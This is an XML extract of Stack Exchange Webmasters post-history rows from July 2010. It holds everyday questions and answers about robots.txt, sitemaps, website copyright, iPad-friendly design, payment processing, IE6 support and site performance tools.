  <row Id="185" PostHistoryTypeId="2" PostId="101" RevisionGUID="2057c424-42c9-4866-bd9e-b4cf21c2b2d9" CreationDate="2010-07-08T19:42:28.300" UserId="61" Text="Google Webmaster tools has a Section called &quot;Crawler access&quot;&#xD;&#xA;&#xD;&#xA;This section allows you very easily to create your robots.txt&#xD;&#xA;&#xD;&#xA;For example to allow everything except blog a folder called test your robot.txt would look something like&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /Test&#xD;&#xA;    Allow: /" />
  <row Id="186" PostHistoryTypeId="2" PostId="102" RevisionGUID="65b37a1f-63eb-48fc-b72e-a62d74f5bf78" CreationDate="2010-07-08T19:43:02.057" UserId="63" Text="You automatically have the copyright to any work you create. There isn't an official register of copyright. You can apply for trademarks and patents if you have anything that qualifies. &#xD;&#xA;&#xD;&#xA;Put a copyright notice at the bottom anyway. " />
  <row Id="187" PostHistoryTypeId="2" PostId="103" RevisionGUID="eb11f8a9-4a6b-4608-bcdd-1fa03fc310de" CreationDate="2010-07-08T19:43:16.190" UserId="84" Text="General speaking (err... writing) all you need to do is aim to HTML 5 and Safari Specific CSS3 rules, to create gradients, shadows, etc ...&#xD;&#xA;&#xD;&#xA;Add some [Apple Devices Specific tags][1] like &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;apple-mobile-web-app-capable&quot; content=&quot;yes&quot;&gt;&#xD;&#xA;    &lt;meta name=&quot;apple-mobile-web-app-status-bar-style&quot; content=&quot;black&quot;&gt;&#xD;&#xA;    &lt;meta name = &quot;viewport&quot; content = &quot;width = device-width&quot;&gt;&#xD;&#xA;&#xD;&#xA;remember that you can use a css in horizontal mode and other in vertical mode&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; media=&quot;all and (orientation:portrait)&quot; href=&quot;css/portrait.css&quot;&gt; &#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; media=&quot;all and (orientation:landscape)&quot; href=&quot;css/landscape.css&quot;&gt; &#xD;&#xA;&#xD;&#xA;if you, by the way, want to create a native alike visual, I recommend that you see [JQtouch][2] and [Sencha][3] &#xD;&#xA;&#xD;&#xA;**keep in mind** that some events do not exist in a Touch Device, like &quot;click&quot; (though this majority of the times just work ok), &quot;mousehover&quot;, etc ... JQTouch and Sencha are already configured to give you a &quot;tap&quot; event and mouch more events Apple Devices specific.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/safari/library/documentation/appleapplications/reference/safarihtmlref/articles/metatags.html&#xD;&#xA;  [2]: http://www.JQtouch.com&#xD;&#xA;  [3]: http://www.Sencha.com" />
  <row Id="188" PostHistoryTypeId="2" PostId="104" RevisionGUID="9e71ed90-817b-4d63-9a37-1266bd29354c" CreationDate="2010-07-08T19:43:16.237" UserId="67" Text="One advantage of using the name servers from the registrar is that they are very highly distributed, and that can effect the speed of lookups and global propagation.&#xD;&#xA;&#xD;&#xA;For instance, Godaddy and Enom host so many domain names that the time to live of for newly purchased domains and for DNS modifications is SUPER fast." />
  <row Id="189" PostHistoryTypeId="6" PostId="89" RevisionGUID="3e62a325-f96e-4948-a4d6-6f810b1586ed" CreationDate="2010-07-08T19:43:29.653" UserId="86" Comment="edited tags" Text="&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="190" PostHistoryTypeId="2" PostId="105" RevisionGUID="82adec5f-bb5f-4b74-a71c-78628377ac76" CreationDate="2010-07-08T19:44:00.183" UserId="80" Text="[Sucuri][1] offers a monitoring system which will notify you via e-mail when a page is changed.  It also has specific notices for malware infections that are being run through a website.  They can also monitor DNS records, WHOIS information, and SSL certificates in relation to your domain and website.  Their bare-bones basic service is free and their paid packages are reasonable for larger websites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sucuri.net/" />
  <row Id="191" PostHistoryTypeId="2" PostId="106" RevisionGUID="734e3f19-a90d-4d29-926b-e9933905063b" CreationDate="2010-07-08T19:44:23.317" UserId="19" Text="Depends on what you're looking to achieve.&#xD;&#xA;&#xD;&#xA;If avoiding fees is the most important thing, you need to do the math and decide what vendor is going to give you the best deal based on your transaction volume.&#xD;&#xA;&#xD;&#xA;If you need greater programmability, you might consider going to Authorize.Net, but it may cost you more with the gateway fees + merchant account fees." />
  <row Id="192" PostHistoryTypeId="2" PostId="107" RevisionGUID="6733dc33-1ca0-4ca1-a9af-e3710c6406b3" CreationDate="2010-07-08T19:44:36.313" UserId="27" Text="I have a dynamic site which has many (well, less than 50) users.  Each user is allowed to create as many pages as they want.  I know that there is a limit to how many pages you can be listed in sitemap.xml, and for now I am under that limit, but I would like to know what the best way to enable search engines to know (all?) about my user's pages while still being under that limit even if I have more than the limit." />
  <row Id="193" PostHistoryTypeId="1" PostId="107" RevisionGUID="6733dc33-1ca0-4ca1-a9af-e3710c6406b3" CreationDate="2010-07-08T19:44:36.313" UserId="27" Text="Proper sitemap.xml setup" />
  <row Id="194" PostHistoryTypeId="3" PostId="107" RevisionGUID="6733dc33-1ca0-4ca1-a9af-e3710c6406b3" CreationDate="2010-07-08T19:44:36.313" UserId="27" Text="&lt;seo&gt;&lt;sitemap.xml&gt;" />
  <row Id="195" PostHistoryTypeId="2" PostId="108" RevisionGUID="1e906305-1ee7-45fc-a9ae-ca5057302052" CreationDate="2010-07-08T19:44:40.617" UserId="15" Text="Here's everything you need to know about the [robots.txt file][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="196" PostHistoryTypeId="2" PostId="109" RevisionGUID="b00b7a27-6b6d-4e58-aca4-0df7415cff98" CreationDate="2010-07-08T19:45:07.170" UserId="86" Text="HTML5 is not complete, but I see lots of promise.  If it is a general facing site, Flash Player should at least be supported, Silverlight to a lesser extent because most viewers will have to install the plugin." />
  <row Id="197" PostHistoryTypeId="2" PostId="110" RevisionGUID="9e3131ce-4c6a-4064-b049-3f4d7cc96158" CreationDate="2010-07-08T19:45:32.160" UserId="63" Text="I think this will boil down to personal opinion but I would say no. &#xD;&#xA;&#xD;&#xA;No because your cutting out anything running Apple's iOS and while that may not be a massive problem there is no point starting at a disadvantage. I also find such plugins slightly annoying on a normal browser and have flash blocker and such installed and they are only enabled if I approve it. &#xD;&#xA;&#xD;&#xA;I would say only use plug ins if you have a geniune need. Rather than for the sake of it." />
  <row Id="199" PostHistoryTypeId="2" PostId="112" RevisionGUID="1d74bee6-81c5-41c0-a3da-1d6f29e8090f" CreationDate="2010-07-08T19:45:39.680" UserId="36" Text="Flash and Silverlight are both powerful platforms and it really depends on your circumstances.  Currently, the user base for Flash is much larger due to its age and more people are likely to have it installed." />
  <row Id="200" PostHistoryTypeId="5" PostId="89" RevisionGUID="dd01b64c-af99-4eb0-a697-38dd8964ce60" CreationDate="2010-07-08T19:46:48.320" UserId="27" Comment="added 1 characters in body; edited title" Text="What is the best initial or general setup for the robots.txt to allow search engines to go through the site, but maybe restrict a few folders?&#xD;&#xA;&#xD;&#xA;Is there a general setup that should always be used?" />
  <row Id="201" PostHistoryTypeId="4" PostId="89" RevisionGUID="dd01b64c-af99-4eb0-a697-38dd8964ce60" CreationDate="2010-07-08T19:46:48.320" UserId="27" Comment="added 1 characters in body; edited title" Text="What is the best configuration for robots.txt" />
  <row Id="202" PostHistoryTypeId="2" PostId="113" RevisionGUID="e47ff308-b817-40cd-8a2a-1e3a45253f26" CreationDate="2010-07-08T19:47:08.553" UserId="64" Text="There is a great online tool for doing iPad targeted web design:&#xD;&#xA;&#xD;&#xA;[ipadpeek.com][1]&#xD;&#xA;&#xD;&#xA;Gives you a full size iPad/Safari emulator online.&#xD;&#xA;  [1]: http://ipadpeek.com/" />
  <row Id="204" PostHistoryTypeId="2" PostId="115" RevisionGUID="98e98975-739b-4697-a06f-ba4fdd5cc631" CreationDate="2010-07-08T19:47:25.027" UserId="67" Text="We have seen that Google has different &quot;trust&quot; signals in how it ranks pages. One of these is that the more expensive your technology, the less likely you are to be a fly-by-night spam outfit. Spammers don't spend money on SSLs, and definitely not a nice Verisign SSL." />
  <row Id="205" PostHistoryTypeId="2" PostId="116" RevisionGUID="bf5d23e9-eccd-4a06-99e0-66756553878d" CreationDate="2010-07-08T19:48:01.890" UserId="65" Text="I am looking for the best resources on how to build sitemaps.&#xD;&#xA;&#xD;&#xA;I am currently aware of the obvious HTML sitemaps and the (google) sitemap.xml and (yahoo) urllist.txt&#xD;&#xA;&#xD;&#xA;Anyone know of resources for these and or other sitemaps I should be aware of - that would aid in the SEO of my site&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="206" PostHistoryTypeId="1" PostId="116" RevisionGUID="bf5d23e9-eccd-4a06-99e0-66756553878d" CreationDate="2010-07-08T19:48:01.890" UserId="65" Text="Sitemaps HTML and others" />
  <row Id="207" PostHistoryTypeId="3" PostId="116" RevisionGUID="bf5d23e9-eccd-4a06-99e0-66756553878d" CreationDate="2010-07-08T19:48:01.890" UserId="65" Text="&lt;seo&gt;&lt;sitemaps&gt;&lt;xml&gt;" />
  <row Id="208" PostHistoryTypeId="2" PostId="117" RevisionGUID="371df8ba-6675-409e-9dc6-a408fd874b53" CreationDate="2010-07-08T19:48:02.153" UserId="57" Text="Check out this article; It's about a nice technique for liquid layouts that will make your site look great on a iPad, 30&quot; monitor and even your iPhone ;) http://www.alistapart.com/articles/responsive-web-design/" />
  <row Id="209" PostHistoryTypeId="5" PostId="102" RevisionGUID="2f834b5e-d534-4bac-8c21-80517fd4fc11" CreationDate="2010-07-08T19:48:27.067" UserId="63" Comment="added 281 characters in body; deleted 4 characters in body" Text="You automatically have the copyright to any work you create. There isn't an official register of copyright. You can apply for trademarks and patents if you have anything that qualifies. &#xD;&#xA;&#xD;&#xA;Put a copyright notice at the bottom and have proof you created the work but enforcement is kind of hard anyway. Even sites which copy you down to the slightest detail can escape it. There are rip-offs, down to the pixel, of stack overflow but they are in China and it's too hard to enforce. Don't fret too much about it. " />
  <row Id="210" PostHistoryTypeId="2" PostId="118" RevisionGUID="5e68f758-88f9-4cb2-b399-bba941673796" CreationDate="2010-07-08T19:50:32.553" UserId="15" Text="I have an old codebase that still &quot;works&quot; but is difficult/nearly impossible to maintain. It may be expensive (time and money wise) to update it. Do I just go for it, or should I continue to hate my world (but continue working on something that works and is relatively bug-free)?" />
  <row Id="211" PostHistoryTypeId="1" PostId="118" RevisionGUID="5e68f758-88f9-4cb2-b399-bba941673796" CreationDate="2010-07-08T19:50:32.553" UserId="15" Text="Maintaining legacy code" />
  <row Id="212" PostHistoryTypeId="3" PostId="118" RevisionGUID="5e68f758-88f9-4cb2-b399-bba941673796" CreationDate="2010-07-08T19:50:32.553" UserId="15" Text="&lt;bugs&gt;&lt;code&gt;" />
  <row Id="213" PostHistoryTypeId="2" PostId="119" RevisionGUID="08fb4252-0609-429e-83b9-aece49ffdd04" CreationDate="2010-07-08T19:50:45.907" UserId="86" Text="http://www.sitereportcard.com/imagereducer.php" />
  <row Id="214" PostHistoryTypeId="2" PostId="120" RevisionGUID="991028df-b96c-4a2e-a99b-1d171d0660cc" CreationDate="2010-07-08T19:50:57.747" UserId="28" Text="With the inclusion of the page performance in the google ranking algorithm, What things can be done to get better figures on the webmaster tools performance measure? if the onload method of the page is used, defering javascript and advertisement would be a good thing? " />
  <row Id="215" PostHistoryTypeId="1" PostId="120" RevisionGUID="991028df-b96c-4a2e-a99b-1d171d0660cc" CreationDate="2010-07-08T19:50:57.747" UserId="28" Text="How is the pagespeed in google webmaster tools measured? " />
  <row Id="216" PostHistoryTypeId="3" PostId="120" RevisionGUID="991028df-b96c-4a2e-a99b-1d171d0660cc" CreationDate="2010-07-08T19:50:57.747" UserId="28" Text="&lt;optimization&gt;" />
  <row Id="217" PostHistoryTypeId="2" PostId="121" RevisionGUID="383e797e-4e1a-4dd5-8837-90b1c393f76f" CreationDate="2010-07-08T19:51:09.883" UserId="84" Text="If you write a **jQuery app**, you **don't need to worry about anything** as you are developing to a framework/library that does (today) and will continue to do (in future versions) everything under the hood.&#xD;&#xA;&#xD;&#xA;if you are **writting plain javascript**, then it's all a **mess** :)&#xD;&#xA;&#xD;&#xA;as you need not to develop your app in one browser but to test in all other browsers, and simples things as opening windows and handle ajax calls vary from engine to engine...&#xD;&#xA;&#xD;&#xA;so... **please keep aiming to jQuery** :) he will do the hard stuff for you ;)" />
  <row Id="218" PostHistoryTypeId="2" PostId="122" RevisionGUID="36f09bb7-6758-4e22-bcc5-5338736f5e62" CreationDate="2010-07-08T19:51:31.787" UserId="82" Text="It all depends on your target audience.  Will the people you are building your site for expect Flash or Silverlight?  Will they be put off if it is there?  I would suggest using customer focused decision making on questions like this rather than technical.  Get to know your customers and plan accordingly." />
  <row Id="219" PostHistoryTypeId="2" PostId="123" RevisionGUID="93a5b204-ea7b-4dc2-91ed-a849daaeb264" CreationDate="2010-07-08T19:51:54.080" UserId="80" Text="Danger Will Robinson!  If you switch to taking payments directly instead of having someone else manage the payments for you, you may open your website to PCI-DSS compliance requirements.  For most small businesses, the slightly higher fees for a service like PayPal are far less expensive than having to meet the PCI-DSS compliance rules.  They are complicated and tricky and can open your business to a lot of liability if not followed correctly.  See the [PCI-DSS website][1] for more detailed information.&#xD;&#xA;&#xD;&#xA;Having said that, if you can meet the PCI requirements and the cost savings of processing directly PLUS the added costs of compliance will be less than that you're paying in fees for an outside provider, then it's time to make the move.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/index.shtml" />
  <row Id="220" PostHistoryTypeId="2" PostId="124" RevisionGUID="07fd89f2-ae48-4cf5-915d-d6d8417af814" CreationDate="2010-07-08T19:52:05.950" UserId="50" Text="To register your website as legally copyrighted, assuming you are in the United States, you would visit the [U.S. Copyright Office][1].  From there, you could use their [Electronic Copyright Office (eCO)][2] to register your copyright.  Their site also has a [list of fees][3] for performing this service. &#xD;&#xA;&#xD;&#xA;Please note- you do not have to register your copyright to have your material copyrighted; it is legally copyrighted upon it's creation.  Registering your copyright will add this as fact to the public record, and provides precedence in the event of theft of your work.&#xD;&#xA;&#xD;&#xA;Once you have your site copyrighted, add a line somewhere in your site's design (usually found at the bottom of every page) which lists the year(s) in which the copyright was filed, and who the site is copyrighted to.  Make sure you use the word &quot;Copyright&quot;, or the copyright symbol (©, or &amp;copy; in HTML Entity form).  &quot;(C)&quot; is not a legally recognized symbol for a copyright. &#xD;&#xA;&#xD;&#xA;An example:&#xD;&#xA;&#xD;&#xA;&gt; This comment is Copyright (©) Soleil&#xD;&#xA;&gt; Golden, 2010.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.copyright.gov/&#xD;&#xA;  [2]: http://www.copyright.gov/eco/notice.html&#xD;&#xA;  [3]: http://www.copyright.gov/docs/fees.html" />
  <row Id="221" PostHistoryTypeId="2" PostId="125" RevisionGUID="693014be-10b9-401c-baac-d602e35bb992" CreationDate="2010-07-08T19:53:13.483" UserId="43" Text="I'm sure it depends on the specific circumstances, but be sure to factor in the extra time you have to spend maintaining your existing codebase vs. the expense of updating it.  Not knowing more details, I'd say update it rather than struggling with what you've got." />
  <row Id="226" PostHistoryTypeId="2" PostId="127" RevisionGUID="fd6cb0bc-7e87-4d17-89ab-2fa69a2c5f4f" CreationDate="2010-07-08T19:55:13.760" UserId="57" Text="If you see a future in your site please rewrite it as soon as posible if it's not maintainable. I maintain several +5 year old big sites and in the time I've spend cursing on the stupid problems that came from it I could have rewritten them all. Do yourself a pleasure and rewrite it, it's more fun to build something new as well ;)" />
  <row Id="227" PostHistoryTypeId="2" PostId="128" RevisionGUID="191dcc50-deb3-4f4c-943a-b0c7ab8d4080" CreationDate="2010-07-08T19:55:20.920" UserId="87" Text="I would like to measure how fast my site loads from different locations around the world.  What is the best way to do this?" />
  <row Id="228" PostHistoryTypeId="1" PostId="128" RevisionGUID="191dcc50-deb3-4f4c-943a-b0c7ab8d4080" CreationDate="2010-07-08T19:55:20.920" UserId="87" Text="Is there a good way to measure my site's response time from different parts of the world?" />
  <row Id="229" PostHistoryTypeId="3" PostId="128" RevisionGUID="191dcc50-deb3-4f4c-943a-b0c7ab8d4080" CreationDate="2010-07-08T19:55:20.920" UserId="87" Text="&lt;analytics&gt;&lt;measure&gt;&lt;load-time&gt;" />
  <row Id="230" PostHistoryTypeId="2" PostId="129" RevisionGUID="42cff70c-cf54-44b9-bcf8-c47326c49db1" CreationDate="2010-07-08T19:55:39.327" UserId="43" Text="Dustin Curtis wrote an interesting and informative [article][1] about his experience a/b testing a specific phrase/link on his site.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dustincurtis.com/you_should_follow_me_on_twitter.html &quot;article&quot;" />
  <row Id="231" PostHistoryTypeId="2" PostId="130" RevisionGUID="7fd6ae3a-74b7-461c-90e2-8e3fe916ffc2" CreationDate="2010-07-08T19:56:03.367" UserId="82" Text="http://www.browsercam.com/ (online, not free) is another one." />
  <row Id="232" PostHistoryTypeId="6" PostId="116" RevisionGUID="9dbb7f7d-ff5e-4fed-a9e0-09d101f1247b" CreationDate="2010-07-08T19:56:30.230" UserId="65" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemaps&gt;&lt;xml&gt;" />
  <row Id="233" PostHistoryTypeId="2" PostId="131" RevisionGUID="efcf1072-41a1-4879-9fdd-7a30f2891ce0" CreationDate="2010-07-08T19:57:04.410" UserId="41" Text="I have a WordPress blog running on a MySQL database that I want to back up regularly. Would it be better to use the mysqldump program or the mysqlhotcopy script to make backups? What are the pros and cons of each? Are there any other options I should consider?" />
  <row Id="234" PostHistoryTypeId="1" PostId="131" RevisionGUID="efcf1072-41a1-4879-9fdd-7a30f2891ce0" CreationDate="2010-07-08T19:57:04.410" UserId="41" Text="Should I use mysqldump or mysqlhotcopy for MySQL database backups?" />
  <row Id="235" PostHistoryTypeId="3" PostId="131" RevisionGUID="efcf1072-41a1-4879-9fdd-7a30f2891ce0" CreationDate="2010-07-08T19:57:04.410" UserId="41" Text="&lt;process&gt;" />
  <row Id="236" PostHistoryTypeId="2" PostId="132" RevisionGUID="2ed6af8b-e29b-47c2-b5c3-040587862131" CreationDate="2010-07-08T19:57:05.300" UserId="81" Text="I've read several blogs about turning KeepAlive off in apache. When I had it turned on, and a spike in traffic, people started timing out, or had to wait +10 seconds for a page load. However, when I turned it off, requests finished almost immediately.&#xD;&#xA;&#xD;&#xA;I know HOW KeepAlive functions, and [what it does][1], I just want to know why I would ever need it. If i'm using CSS sprites and combining all my javascript into 1 file, with only 2-3 http requests to the server, is it safe to have it turned off?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/core.html#keepalive" />
  <row Id="237" PostHistoryTypeId="1" PostId="132" RevisionGUID="2ed6af8b-e29b-47c2-b5c3-040587862131" CreationDate="2010-07-08T19:57:05.300" UserId="81" Text="Apache KeepAlive - why should I ever need it?" />
  <row Id="238" PostHistoryTypeId="3" PostId="132" RevisionGUID="2ed6af8b-e29b-47c2-b5c3-040587862131" CreationDate="2010-07-08T19:57:05.300" UserId="81" Text="&lt;server&gt;&lt;apache&gt;&lt;keepalive&gt;" />
  <row Id="239" PostHistoryTypeId="2" PostId="133" RevisionGUID="7884453a-f0b0-4fc5-b3dc-d4c115e7e18c" CreationDate="2010-07-08T19:57:38.013" UserId="80" Text="Check out [Braintree Payment Solutions][1].  They allow you to integrate the payment form into your own website but handle all of the sensitive data directly so you don't have to deal with PCI-DSS compliance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.braintreepaymentsolutions.com/" />
  <row Id="240" PostHistoryTypeId="2" PostId="134" RevisionGUID="d42f960e-f62e-4cdd-a90d-2b7daaf91c5e" CreationDate="2010-07-08T19:58:20.227" UserId="15" Text="IE6 is deprecated and Microsoft is bent on killing it. However, I know that a lot of people still use it. Should I continue to support it anyways?" />
  <row Id="241" PostHistoryTypeId="1" PostId="134" RevisionGUID="d42f960e-f62e-4cdd-a90d-2b7daaf91c5e" CreationDate="2010-07-08T19:58:20.227" UserId="15" Text="Should I bother supporting IE6?" />
  <row Id="242" PostHistoryTypeId="3" PostId="134" RevisionGUID="d42f960e-f62e-4cdd-a90d-2b7daaf91c5e" CreationDate="2010-07-08T19:58:20.227" UserId="15" Text="&lt;internet-explorer-6&gt;" />
  <row Id="243" PostHistoryTypeId="5" PostId="102" RevisionGUID="e062704a-2640-4560-8b1a-689f2acaefd7" CreationDate="2010-07-08T19:59:09.740" UserId="63" Comment="added 302 characters in body; added 142 characters in body" Text="The US is a member of the [Berne Convention][1] which means users have the Copyright for their work and even have it without notice on the work itself (although I would recommend using it). &#xD;&#xA;&#xD;&#xA;You automatically have the copyright to any work you create. There isn't an official register of copyright. You can apply for trademarks and patents if you have anything that qualifies. &#xD;&#xA;&#xD;&#xA;Put a copyright notice at the bottom and have proof you created the work but enforcement is kind of hard anyway. Even sites which copy you down to the slightest detail can escape it. There are rip-offs, down to the pixel, of stack overflow but they are in China and it's too hard to enforce. Don't fret too much about it. &#xD;&#xA;&#xD;&#xA;If your really worried I would seek professional legal advice on how to protect your IP which may well involve measures beyond copyright. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Berne_Convention_for_the_Protection_of_Literary_and_Artistic_Works" />
  <row Id="244" PostHistoryTypeId="2" PostId="135" RevisionGUID="d966c2d2-2c01-48f0-a394-142f91eb1b83" CreationDate="2010-07-08T19:59:36.463" UserId="69" Text="I know of a couple tools to measure end user web site performance and I'm wondering what else is out there. The two major ones I know of are [yslow][1] and [Google's page speed][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yslow&#xD;&#xA;  [2]: http://code.google.com/speed/page-speed" />
  <row Id="245" PostHistoryTypeId="1" PostId="135" RevisionGUID="d966c2d2-2c01-48f0-a394-142f91eb1b83" CreationDate="2010-07-08T19:59:36.463" UserId="69" Text="What are the best ways to measure end user web site performance?" />
  <row Id="246" PostHistoryTypeId="3" PostId="135" RevisionGUID="d966c2d2-2c01-48f0-a394-142f91eb1b83" CreationDate="2010-07-08T19:59:36.463" UserId="69" Text="&lt;performance&gt;" />
  <row Id="247" PostHistoryTypeId="2" PostId="136" RevisionGUID="8385f38c-ca8b-457b-bd41-676e09dc2b73" CreationDate="2010-07-08T19:59:55.917" UserId="80" Text="I have used [DirectNIC][1] for many years without any problems.  They offer a variety of TLDs and do not annoy you with constant up-sells like GoDaddy does.  Their prices are a little higher than GoDaddy, but you can get decent discounts if you purchase in bulk or transfer in a lot of domains.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.directnic.com/" />
  <row Id="248" PostHistoryTypeId="16" PostId="136" RevisionGUID="8385f38c-ca8b-457b-bd41-676e09dc2b73" CreationDate="2010-07-08T19:59:55.917" UserId="-1" />
  <row Id="249" PostHistoryTypeId="2" PostId="137" RevisionGUID="2f98b1ba-e217-4166-abac-87e1fe071389" CreationDate="2010-07-08T19:59:57.507" UserId="64" Text="It won't be perfect or even consistent over time, but you can use the IP address of your site and do a pingback or tracert using a site like:&#xD;&#xA;&#xD;&#xA;[tracert.com][1]&#xD;&#xA;&#xD;&#xA;It allows you to select various points of origin and trace at the same time.&#xD;&#xA;  [1]: http://tracert.com/trace_exe.html" />
  <row Id="250" PostHistoryTypeId="2" PostId="138" RevisionGUID="4a7170a7-87e3-48ea-a15d-4bd2061e9b30" CreationDate="2010-07-08T20:00:15.947" UserId="36" Text="It completely depends on your user base.  In my line of work we support local councils so we have to maintain IE6 support as their computers are generally out of date and won't be upgraded for some time. If you are developing for a cutting edge audience however, then IE6 support will be less necessary.&#xD;&#xA;&#xD;&#xA;It is advised to make the website usable in IE6 by letting it degrade certain &quot;unsupported&quot; features gracefully. Just remember, dropping IE6 support **will** affect someone out there... it just depends whether you care or not." />
  <row Id="251" PostHistoryTypeId="2" PostId="139" RevisionGUID="d5786d7f-3035-4dbf-98dd-7560f0bc88db" CreationDate="2010-07-08T20:00:33.840" UserId="96" Text="I'd like to do some URL rewriting (Why? See [this question][1].) so that instead of users seeing addresses like &#xD;&#xA;&gt;labouseur.com/course-compilers.html &#xD;&#xA;&#xD;&#xA;they can instead see and use simply &#xD;&#xA;&#xD;&#xA;&gt;labouseur.com/course-compilers&#xD;&#xA;&#xD;&#xA;(Even better, maybe I should restructure that so that it's courses/compilers.)&#xD;&#xA;&#xD;&#xA;I'm using a Linux-based shared hosting service for my website, so I do not have administrative control of the server, but I do have control over .htaccess. The references I've read online seemed less than clear to me, so I'm looking for a little clarity and advice here.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/51/why-is-it-preferable-to-use-paths-with-slashes-instead-of-query-string-variables" />
  <row Id="252" PostHistoryTypeId="1" PostId="139" RevisionGUID="d5786d7f-3035-4dbf-98dd-7560f0bc88db" CreationDate="2010-07-08T20:00:33.840" UserId="96" Text="How do I implement URL rewriting in my .htaccess file?" />
  <row Id="253" PostHistoryTypeId="3" PostId="139" RevisionGUID="d5786d7f-3035-4dbf-98dd-7560f0bc88db" CreationDate="2010-07-08T20:00:33.840" UserId="96" Text="&lt;url-rewriting&gt;&lt;htaccess&gt;" />
  <row Id="254" PostHistoryTypeId="2" PostId="140" RevisionGUID="f1f3d84d-2ee4-48ca-bdf2-476504d98f64" CreationDate="2010-07-08T20:01:12.357" UserId="69" Text="A couple good tools that I have run across for doing this are [Pingdom Tools][1] and [BrowserMob][2]. Of the two I like the results interface from BrowserMob the most.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.pingdom.com/&#xD;&#xA;  [2]: http://browsermob.com/free-website-performance-test" />
  <row Id="255" PostHistoryTypeId="2" PostId="141" RevisionGUID="9d7a4939-f0bb-4b86-8a95-fff8dfdb9f33" CreationDate="2010-07-08T20:01:26.210" UserId="17" Text="Thats a good question, asked hundreds of times... Andy Clark says it best http://forabeautifulweb.com/blog/about/universal_internet_explorer_6_css " />
  <row Id="256" PostHistoryTypeId="2" PostId="142" RevisionGUID="30b30f0d-978a-43e7-b851-e8bd2e0d6a66" CreationDate="2010-07-08T20:01:42.323" UserId="15" Text="I want to store my customers' credit card information in my database so that they can quickly check out again without having to re-enter their info. What do I need to know about security/https/etc to make sure this is secure and trustworthy (and also legal)?" />
  <row Id="257" PostHistoryTypeId="1" PostId="142" RevisionGUID="30b30f0d-978a-43e7-b851-e8bd2e0d6a66" CreationDate="2010-07-08T20:01:42.323" UserId="15" Text="What do I need to do to enable my site to accept credit cards?" />
  <row Id="258" PostHistoryTypeId="3" PostId="142" RevisionGUID="30b30f0d-978a-43e7-b851-e8bd2e0d6a66" CreationDate="2010-07-08T20:01:42.323" UserId="15" Text="&lt;ssl&gt;&lt;security&gt;&lt;legal&gt;&lt;creditcard&gt;" />
  <row Id="261" PostHistoryTypeId="2" PostId="145" RevisionGUID="f5663383-3f1b-4315-92ba-fd2eae605b40" CreationDate="2010-07-08T20:02:21.090" UserId="61" Text="I am looking for a recommendation for a somewhat powerful but more importantly user friendly CMS for .NET. &#xD;&#xA;&#xD;&#xA;The ones I have found seem decent at best.&#xD;&#xA;&#xD;&#xA;*If you say DotNetNuke I will be tempted to reach through this screen and slap you...*" />
  <row Id="262" PostHistoryTypeId="1" PostId="145" RevisionGUID="f5663383-3f1b-4315-92ba-fd2eae605b40" CreationDate="2010-07-08T20:02:21.090" UserId="61" Text="User Friendly .NET CMS" />
  <row Id="263" PostHistoryTypeId="3" PostId="145" RevisionGUID="f5663383-3f1b-4315-92ba-fd2eae605b40" CreationDate="2010-07-08T20:02:21.090" UserId="61" Text="&lt;asp.net&gt;&lt;cms&gt;" />
  <row Id="264" PostHistoryTypeId="2" PostId="146" RevisionGUID="ff41f2dd-5970-4734-b75d-ed547ac816e3" CreationDate="2010-07-08T20:02:26.143" UserId="93" Text="It is really time to get people to upgrade.  You can use things like http://matijabozic.com/IE6-Notification/ if you really want to show people there are other options and that they need to move forward.  As Google is even removing IE6 support from their products, it is time we all do the same." />
  <row Id="265" PostHistoryTypeId="2" PostId="147" RevisionGUID="98a98cc3-82dd-46b2-ba06-a7550f6d78b8" CreationDate="2010-07-08T20:02:44.647" UserId="82" Text="It all depends on your target audience. Will the people you are building your site for expect IE6 to work? Will they be put off if it doesn't? I would suggest using customer focused decision making on questions like this rather than technical. Get to know your customers and plan accordingly.&#xD;&#xA;&#xD;&#xA;That said, http://gs.statcounter.com/ notes that:&#xD;&#xA;&#xD;&#xA;&gt;  [IE6 Falls Below 5% for First Time in&#xD;&#xA;&gt; US and Europe][1]  However, globally&#xD;&#xA;&gt; he suggested that web designers were&#xD;&#xA;&gt; not out of the woods yet. &quot;If your&#xD;&#xA;&gt; target market is Asia then IE6 still&#xD;&#xA;&gt; has 20.8% usage. IE8 has only just&#xD;&#xA;&gt; overtaken it in Asia.&quot; Africa also&#xD;&#xA;&gt; continues to have high levels of usage&#xD;&#xA;&gt; of IE6.&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/press/ie6-falls-below-5-perc-for-first-time-in-us-and-europe" />
  <row Id="266" PostHistoryTypeId="2" PostId="148" RevisionGUID="11fd2545-9e88-4983-b6d6-f7b6acd21175" CreationDate="2010-07-08T20:03:09.403" UserId="23" Text="[www.pingdom.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pingdom.com" />
